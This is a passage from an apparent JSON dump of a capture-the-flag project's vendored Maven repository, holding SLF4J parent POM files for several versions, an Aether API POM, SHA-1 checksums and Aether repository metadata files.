<excludePackageNames>org.slf4j.migrator:org.slf4j.migrator.*</excludePackageNames>\n\t\t\t\t\t<links>\n\t\t\t\t\t\t<link>\n\t\t\t\t\t\t\thttp://java.sun.com/j2se/1.5.0/docs/api\n\t\t\t\t\t\t</link>\n\t\t\t\t\t</links>\n          <groups>\n            <group>\n              <title>SLF4J packages</title>\n              <packages>org.slf4j:org.slf4j.*</packages>\n            </group>\n\n            <group>\n              <title>SLF4J extensions</title>\n              <packages>org.slf4j.profiler:org.slf4j.ext:org.slf4j.instrumentation:org.slf4j.agent</packages>\n            </group>\n\n            <group>\n              <title>Jakarta Commons Logging packages</title>\n              <packages>org.apache.commons.*</packages>\n            </group>\n\n            <group>\n              <title>Apache log4j</title>\n              <packages>org.apache.log4j</packages>\n            </group>\n\n            <group>\n              <title>java.util.logging (JUL) to SLF4J bridge</title>\n              <packages>org.slf4j.bridge</packages>\n            </group>\n\n          </groups>\n        </configuration>\n      </plugin>\n\n    </plugins>\n\n\t</build>\n\n  <profiles>\n    <profile>\n      <id>skipTests</id>     \n      <properties>\n        <maven.test.skip>true</maven.test.skip>\n      </properties>\n    </profile>\n     <profile>\n      <id>osgi</id>\n      <modules>\n         <module>osgi-over-slf4j</module>\n         <module>slf4j-osgi-test-bundle</module>\n         <module>slf4j-osgi-integration-test</module>\n      </modules>\n\n      <repositories>\n        <repository>\n          <id>m2apache.snapshots</id>\n          <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n          <releases>\n            <enabled>false</enabled>\n          </releases>\n          <snapshots>\n            <enabled>true</enabled>\n          </snapshots>\n        </repository>\n\n        <repository>\n          <id>springframework.org</id>\n          <name>Springframework Maven SNAPSHOT Repository</name>\n          <url>http://static.springframework.org/maven2-snapshots/</url>\n          <snapshots>\n            <enabled>true</enabled>\n          </snapshots>\n        </repository>\n\n      </repositories>\n\n      <pluginRepositories>\n        <pluginRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Snapshot Plugin Repository</name>\n          <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n          <releases>\n            <enabled>false</enabled>\n          </releases>\n          <snapshots>\n            <enabled>true</enabled> \n          </snapshots>\n        </pluginRepository>\n      </pluginRepositories>\n\n    </profile>\n  </profiles>\n\n  <pluginRepositories>\n    <pluginRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Plugin Repository</name>\n      <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <snapshots>\n        <enabled>true</enabled> \n     </snapshots>\n    </pluginRepository>\n  </pluginRepositories>\n  \n\t<reporting>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-site-plugin</artifactId>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-project-info-reports-plugin</artifactId>\n\t\t\t\t<reportSets>\n\t\t\t\t\t<reportSet><reports/></reportSet>\n\t\t\t\t</reportSets>\n\t\t\t</plugin>\t    \n      \n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <version>2.1</version>\n        <configuration>\n          <descriptors>\n            <descriptor>\n              src/main/assembly/source.xml\n            </descriptor>\n          </descriptors>\n\t\t\t\t\t<finalName>slf4j-${project.version}</finalName>\n\t\t\t\t\t<appendAssemblyId>false</appendAssemblyId>\n\t\t\t\t\t<outputDirectory>target/site/dist/</outputDirectory>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>jxr</report>\n              <report>test-jxr</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n        <configuration>\n          <aggregate>true</aggregate>\n          <javadocDir>target/site/api/</javadocDir>\n          <linkJavadoc>true</linkJavadoc>\n        </configuration>\n      </plugin>\n\n\n    </plugins>\n\n\t</reporting>\n\t\n\t  \n  <scm>\n\t\t<connection>scm:svn:http://svn.slf4j.org/repos/slf4j/trunk</connection>\n\t\t<developerConnection>scm:svn:https://svn.slf4j.org/repos/slf4j/trunk</developerConnection>\n\t\t<url>http://svn.slf4j.org/viewvc/slf4j/trunk/</url>\n\t</scm>\n\t\n\t<distributionManagement>\n\t\t<site>\n\t\t\t<id>pixie</id>\n\t\t\t<url>scp://pixie/var/www/www.slf4j.org/htdocs/</url>\n\t\t</site>\n\n    <repository>\n      <id>pixie</id>\n      <url>scp://pixie/var/mvnrepo/</url>\n    </repository>\n\n\t</distributionManagement>\n  \n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.5.6/slf4j-parent-1.5.6.pom.sha1",
    "content": "7e94cd535680417391d54c1b1a14bcf9ed29a400"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.6.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:37 CST 2018\nslf4j-parent-1.6.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.6.4/slf4j-parent-1.6.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.slf4j</groupId>\n  <artifactId>slf4j-parent</artifactId>\n  <version>1.6.4</version>\n\n  <packaging>pom</packaging>\n  <name>SLF4J</name>\n\n  <url>http://www.slf4j.org</url>\n\n  <organization>\n    <name>QOS.ch</name>\n    <url>http://www.qos.ch</url>\n  </organization>\n  <inceptionYear>2005</inceptionYear>\n\n  <licenses>\n    <license>\n      <name>MIT License</name>\n      <url>http://www.opensource.org/licenses/mit-license.php</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <properties>\n    <slf4j.api.minimum.compatible.version>1.6.0\n    </slf4j.api.minimum.compatible.version>\n    <cal10n.version>0.7.4</cal10n.version>\n    <log4j.version>1.2.16</log4j.version>\n  </properties>\n\n\n  <modules>\n    <module>slf4j-api</module>\n    <!--<module>slf4j-scala-api</module>-->\n    <module>slf4j-simple</module>\n    <module>slf4j-nop</module>\n    <module>slf4j-jdk14</module>\n    <module>slf4j-log4j12</module>\n    <module>slf4j-jcl</module>\n    <module>slf4j-ext</module>\n    <module>jcl-over-slf4j</module>\n    <module>log4j-over-slf4j</module>\n    <module>jul-to-slf4j</module>\n    <module>integration</module>\n    <module>slf4j-site</module>\n    <module>slf4j-migrator</module>\n  </modules>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-jdk14</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>log4j</groupId>\n        <artifactId>log4j</artifactId>\n        <version>${log4j.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>ch.qos.cal10n</groupId>\n        <artifactId>cal10n-api</artifactId>\n        <version>${cal10n.version}</version>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n\n  <build>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh</artifactId>\n        <version>2.0</version>\n      </extension>\n    </extensions>\n\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>true</filtering>\n      </resource>\n    </resources>\n\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.3.2</version>\n        <configuration>\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.3.1</version>\n      </plugin>\n\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.10</version>\n        <configuration>\n          <forkMode>once</forkMode>\n          <reportFormat>plain</reportFormat>\n          <trimStackTrace>false</trimStackTrace>\n          <excludes>\n            <exclude>**/AllTest.java</exclude>\n            <exclude>**/PackageTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-source-plugin</artifactId>\n        <version>2.1.2</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <version>2.2</version>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/source.xml</descriptor>\n          </descriptors>\n          <finalName>slf4j-${project.version}</finalName>\n          <appendAssemblyId>false</appendAssemblyId>\n          <outputDirectory>target/site/dist/</outputDirectory>\n        </configuration>\n      </plugin>\n\n      <!-- as suggested in http://bugzilla.slf4j.org/show_bug.cgi?id=152 -->\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <version>1.7</version>\n        <executions>\n          <execution>\n            <id>parse-version</id>\n            <goals>\n              <goal>parse-version</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <!-- ====== site plugin ===== -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>3.0</version>\n        <configuration>\n          <reportPlugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-jxr-plugin</artifactId>\n              <version>2.3</version>\n              <configuration>\n                <aggregate>true</aggregate>\n                <javadocDir>target/site/apidocs/</javadocDir>\n                <linkJavadoc>true</linkJavadoc>\n              </configuration>\n            </plugin>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-javadoc-plugin</artifactId>\n              <version>2.8</version>\n              <configuration>\n                <aggregate>true</aggregate>\n                <excludePackageNames>org.slf4j.migrator:org.slf4j.migrator.*\n                </excludePackageNames>\n                <links>\n                  <link>\n                    http://java.sun.com/j2se/1.5.0/docs/api\n                  </link>\n                </links>\n                <groups>\n                  <group>\n                    <title>SLF4J packages</title>\n                    <packages>org.slf4j:org.slf4j.*</packages>\n                  </group>\n\n                  <group>\n                    <title>SLF4J extensions</title>\n                    <packages>\n                      org.slf4j.profiler:org.slf4j.ext:org.slf4j.instrumentation:org.slf4j.agent\n                    </packages>\n                  </group>\n\n                  <group>\n                    <title>Jakarta Commons Logging packages</title>\n                    <packages>org.apache.commons.*</packages>\n                  </group>\n\n                  <group>\n                    <title>Apache log4j</title>\n                    <packages>org.apache.log4j</packages>\n                  </group>\n\n                  <group>\n                    <title>java.util.logging (JUL) to SLF4J bridge</title>\n                    <packages>org.slf4j.bridge</packages>\n                  </group>\n\n                </groups>\n              </configuration>\n            </plugin>\n\n          </reportPlugins>\n        </configuration>\n      </plugin>\n    </plugins>\n\n  </build>\n\n  <profiles>\n    <profile>\n      <id>skipTests</id>\n      <properties>\n        <maven.test.skip>true</maven.test.skip>\n      </properties>\n    </profile>\n    <profile>\n      <id>osgi</id>\n      <modules>\n        <module>osgi-over-slf4j</module>\n        <module>slf4j-osgi-test-bundle</module>\n        <module>slf4j-osgi-integration-test</module>\n      </modules>\n\n      <repositories>\n        <repository>\n          <id>m2apache.snapshots</id>\n          <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n          <releases>\n            <enabled>false</enabled>\n          </releases>\n          <snapshots>\n            <enabled>true</enabled>\n          </snapshots>\n        </repository>\n\n        <repository>\n          <id>springframework.org</id>\n          <name>Springframework Maven SNAPSHOT Repository</name>\n          <url>http://static.springframework.org/maven2-snapshots/</url>\n          <snapshots>\n            <enabled>true</enabled>\n          </snapshots>\n        </repository>\n\n      </repositories>\n\n      <pluginRepositories>\n        <pluginRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Snapshot Plugin Repository</name>\n          <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n          <releases>\n            <enabled>false</enabled>\n          </releases>\n          <snapshots>\n            <enabled>true</enabled>\n          </snapshots>\n        </pluginRepository>\n      </pluginRepositories>\n\n    </profile>\n\n\n    <profile>\n      <id>javadocjar</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>license</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>com.google.code.maven-license-plugin</groupId>\n            <artifactId>maven-license-plugin</artifactId>\n            <configuration>\n              <header>src/main/licenseHeader.txt</header>\n              <quiet>false</quiet>\n              <failIfMissing>true</failIfMissing>\n              <aggregate>true</aggregate>\n              <includes>\n                <include>src/**/*.java</include>\n              </includes>\n              <useDefaultExcludes>true</useDefaultExcludes>\n              <useDefaultMapping>true</useDefaultMapping>\n              <properties>\n                <year>1999</year>\n              </properties>\n              <headerDefinitions>\n                <headerDefinition>src/main/javadocHeaders.xml</headerDefinition>\n              </headerDefinitions>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n\n      <pluginRepositories>\n        <pluginRepository>\n          <id>mc-release</id>\n          <name>Local Maven repository of releases</name>\n          <url>http://mc-repo.googlecode.com/svn/maven2/releases</url>\n          <snapshots>\n            <enabled>false</enabled>\n          </snapshots>\n          <releases>\n            <enabled>true</enabled>\n          </releases>\n        </pluginRepository>\n      </pluginRepositories>\n    </profile>\n\n  </profiles>\n\n  <pluginRepositories>\n    <pluginRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Plugin Repository</name>\n      <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n    </pluginRepository>\n  </pluginRepositories>\n\n  <scm>\n    <connection>scm:svn:http://svn.slf4j.org/repos/slf4j/trunk</connection>\n    <developerConnection>scm:svn:https://svn.slf4j.org/repos/slf4j/trunk\n    </developerConnection>\n    <url>http://svn.slf4j.org/viewvc/slf4j/trunk/</url>\n  </scm>\n\n  <distributionManagement>\n    <site>\n      <id>pixie</id>\n      <url>scp://pixie.qos.ch/var/www/www.slf4j.org/htdocs/</url>\n    </site>\n\n    <repository>\n      <id>pixie</id>\n      <url>scp://pixie.qos.ch/var/mvnrepo/</url>\n    </repository>\n\n  </distributionManagement>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.6.4/slf4j-parent-1.6.4.pom.sha1",
    "content": "50c385c4c80416a4159ff9977d576cbac9e27217"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.7.25/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:46 CST 2018\nslf4j-parent-1.7.25.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.7.25/slf4j-parent-1.7.25.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.slf4j</groupId>\n  <artifactId>slf4j-parent</artifactId>\n  <version>1.7.25</version>\n\n  <packaging>pom</packaging>\n  <name>SLF4J</name>\n  <description>Top SLF4J project pom.xml file</description>\n  <url>http://www.slf4j.org</url>\n\n  <organization>\n    <name>QOS.ch</name>\n    <url>http://www.qos.ch</url>\n  </organization>\n  <inceptionYear>2005</inceptionYear>\n\n  <licenses>\n    <license>\n      <name>MIT License</name>\n      <url>http://www.opensource.org/licenses/mit-license.php</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <scm>\n    <url>https://github.com/qos-ch/slf4j</url>\n    <connection>git@github.com:qos-ch/slf4j.git</connection>\n  </scm>  \n\n  <properties>\n    <required.jdk.version>1.5</required.jdk.version>\n    <maven.compiler.source>${required.jdk.version}</maven.compiler.source>\n    <maven.compiler.target>${required.jdk.version}</maven.compiler.target>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.build.resourceEncoding>UTF-8</project.build.resourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <!-- used in integration testing -->\n    <slf4j.api.minimum.compatible.version>1.6.0</slf4j.api.minimum.compatible.version>\n    <cal10n.version>0.8.1</cal10n.version>\n    <log4j.version>1.2.17</log4j.version>\n    <logback.version>1.0.13</logback.version>\n    <junit.version>4.12</junit.version>\n    <maven-site-plugin.version>3.3</maven-site-plugin.version>\n    <javadoc.plugin.version>2.10.4</javadoc.plugin.version>\n  </properties>\n\n  <developers>\n    <developer>\n      <id>ceki</id>\n      <name>Ceki Gulcu</name>\n      <email>ceki@qos.ch</email>\n    </developer>\n  </developers>\n\n  <modules>\n    <module>slf4j-api</module>\n    <module>slf4j-simple</module>\n    <module>slf4j-nop</module>\n    <module>slf4j-jdk14</module>\n    <module>slf4j-log4j12</module>\n    <module>slf4j-jcl</module> \n    <module>slf4j-android</module>\n    <module>slf4j-ext</module>\n    <module>jcl-over-slf4j</module>\n    <module>log4j-over-slf4j</module>\n    <module>jul-to-slf4j</module>\n    <module>osgi-over-slf4j</module>\n    <module>integration</module>\n    <module>slf4j-site</module>\n    <module>slf4j-migrator</module>\n  </modules>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>${junit.version}</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-jdk14</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>log4j</groupId>\n        <artifactId>log4j</artifactId>\n        <version>${log4j.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>ch.qos.cal10n</groupId>\n        <artifactId>cal10n-api</artifactId>\n        <version>${cal10n.version}</version>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh</artifactId>\n        <version>2.0</version>\n      </extension>\n    </extensions>\n\n    <resources>\n      <resource>\n        <directory>${project.basedir}/src/main/resources</directory>\n        <filtering>true</filtering>\n      </resource>\n    </resources>\n\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>animal-sniffer-maven-plugin</artifactId>\n          <version>1.14</version>\n          <configuration>\n            <signature>\n              <groupId>org.codehaus.mojo.signature</groupId>\n              <artifactId>java15</artifactId>\n              <version>1.0</version>\n            </signature>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n\n    <plugins>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>3.3</version>\n        <configuration>\n          <source>${required.jdk.version}</source>\n          <target>${required.jdk.version}</target>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.3.1</version>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Bundle-Version>${parsedVersion.osgiVersion}</Bundle-Version>\n              <Bundle-Description>${project.description}</Bundle-Description>\n              <X-Compile-Source-JDK>${maven.compiler.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compiler.target}</X-Compile-Target-JDK>\n              <Implementation-Version>${project.version}</Implementation-Version>\n            </manifestEntries>\n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n          <skipIfEmpty>true</skipIfEmpty>\n        </configuration>\n      </plugin>\n \n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.19.1</version>\n        <configuration>\n          <forkCount>2C</forkCount>\n          <reuseForks>true</reuseForks>\n          <reportFormat>plain</reportFormat>\n          <trimStackTrace>false</trimStackTrace>\n          <excludes>\n            <exclude>**/AllTest.java</exclude>\n            <exclude>**/PackageTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-source-plugin</artifactId>\n        <version>2.1.2</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <version>2.2</version>\n        <configuration>\n          <descriptors>\n            <descriptor>src/main/assembly/source.xml</descriptor>\n          </descriptors>\n          <finalName>slf4j-${project.version}</finalName>\n          <appendAssemblyId>false</appendAssemblyId>\n          <outputDirectory>target/site/dist/</outputDirectory>\n        </configuration>\n      </plugin>\n\n      <!-- as suggested in http://jira.qos.ch/browse/SLF4J-143 -->\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <version>1.7</version>\n        <executions>\n          <execution>\n            <id>parse-version</id>\n            <goals>\n              <goal>parse-version</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <!-- ====== site plugin ===== -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>${maven-site-plugin.version}</version>\n        <configuration>\n          <reportPlugins>\n\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-jxr-plugin</artifactId>\n              <version>2.3</version>\n              <configuration>\n                <aggregate>true</aggregate>\n                <javadocDir>target/site/apidocs/</javadocDir>\n                <linkJavadoc>true</linkJavadoc>\n              </configuration>\n            </plugin>\n\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-javadoc-plugin</artifactId>\n              <version>${javadoc.plugin.version}</version>\n              <configuration>\n                <linksource>true</linksource>\n                <!--<aggregate>true</aggregate>-->\n                <excludePackageNames>org.slf4j.migrator:org.slf4j.migrator.*</excludePackageNames>\n                <links>\n                  <link>\n                    http://java.sun.com/j2se/1.5.0/docs/api\n                  </link>\n                </links>\n                <groups>\n                  <group>\n                    <title>SLF4J packages</title>\n                    <packages>org.slf4j:org.slf4j.*</packages>\n                  </group>\n\n                  <group>\n                    <title>SLF4J extensions</title>\n                    <packages>\n                      org.slf4j.cal10n:org.slf4j.profiler:org.slf4j.ext:org.slf4j.instrumentation:org.slf4j.agent\n                    </packages>\n                  </group>\n\n                  <group>\n                    <title>Jakarta Commons Logging packages</title>\n                    <packages>org.apache.commons.*</packages>\n                  </group>\n\n                  <group>\n                    <title>java.util.logging (JUL) to SLF4J bridge</title>\n                    <packages>org.slf4j.bridge</packages>\n                  </group>\n\n                  <group>\n                    <title>Apache log4j</title>\n                    <packages>org.apache.log4j:org.apache.log4j.*</packages>\n                  </group>\n                </groups>\n              </configuration>\n            </plugin>\n\n          </reportPlugins>\n        </configuration>\n      </plugin>\n    </plugins>\n\n  </build>\n\n  <profiles>\n    <profile>\n      <id>skipTests</id>\n      <properties>\n        <maven.test.skip>true</maven.test.skip>\n      </properties>\n    </profile>\n\n    <profile>\n      <id>javadocjar</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>${javadoc.plugin.version}</version>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>license</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>com.google.code.maven-license-plugin</groupId>\n            <artifactId>maven-license-plugin</artifactId>\n            <configuration>\n              <header>src/main/licenseHeader.txt</header>\n              <quiet>false</quiet>\n              <failIfMissing>true</failIfMissing>\n              <aggregate>true</aggregate>\n              <includes>\n                <include>src/**/*.java</include>\n              </includes>\n              <useDefaultExcludes>true</useDefaultExcludes>\n              <useDefaultMapping>true</useDefaultMapping>\n              <properties>\n                <year>1999</year>\n              </properties>\n              <headerDefinitions>\n                <headerDefinition>src/main/javadocHeaders.xml</headerDefinition>\n              </headerDefinitions>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n\n      <pluginRepositories>\n        <pluginRepository>\n          <id>mc-release</id>\n          <name>Local Maven repository of releases</name>\n          <url>http://mc-repo.googlecode.com/svn/maven2/releases</url>\n          <snapshots>\n            <enabled>false</enabled>\n          </snapshots>\n          <releases>\n            <enabled>true</enabled>\n          </releases>\n        </pluginRepository>\n      </pluginRepositories>\n    </profile>\n\n    <profile>\n      <id>sign-artifacts</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <version>1.1</version>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n  </profiles>\n\n  <pluginRepositories>\n  </pluginRepositories>\n\n  <distributionManagement>\n    <site>\n      <id>qos_ch</id>\n      <url>scp://te.qos.ch/var/www/www.slf4j.org/htdocs/</url>\n    </site>\n\n    <repository>\n      <!--<id>pixie</id>-->\n      <!--<url>scp://pixie.qos.ch/var/mvnrepo/</url>-->\n      <id>sonatype-nexus-staging</id>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n\n  </distributionManagement>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.7.25/slf4j-parent-1.7.25.pom.sha1",
    "content": "8521938f0f43c60b79f9f73a9409d10e4bac649a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\naether-api-1.7.jar>central=\naether-api-1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/aether-api-1.7.jar.sha1",
    "content": "0c491a637ee6795143b6708ce5f112e6a9f548f4"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/aether-api-1.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright (c) 2008 Sonatype, Inc. All rights reserved.\n\nThis program is licensed to you under the Apache License Version 2.0, \nand you may not use this file except in compliance with the Apache License Version 2.0. \nYou may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.\n\nUnless required by applicable law or agreed to in writing, \nsoftware distributed under the Apache License Version 2.0 is distributed on an \n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \nSee the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.aether</groupId>\n    <artifactId>aether-parent</artifactId>\n    <version>1.7</version>\n  </parent>\n\n  <artifactId>aether-api</artifactId>\n\n  <name>Aether :: API</name>\n  <description>\n    The application programming interface for the repository system.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>animal-sniffer-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
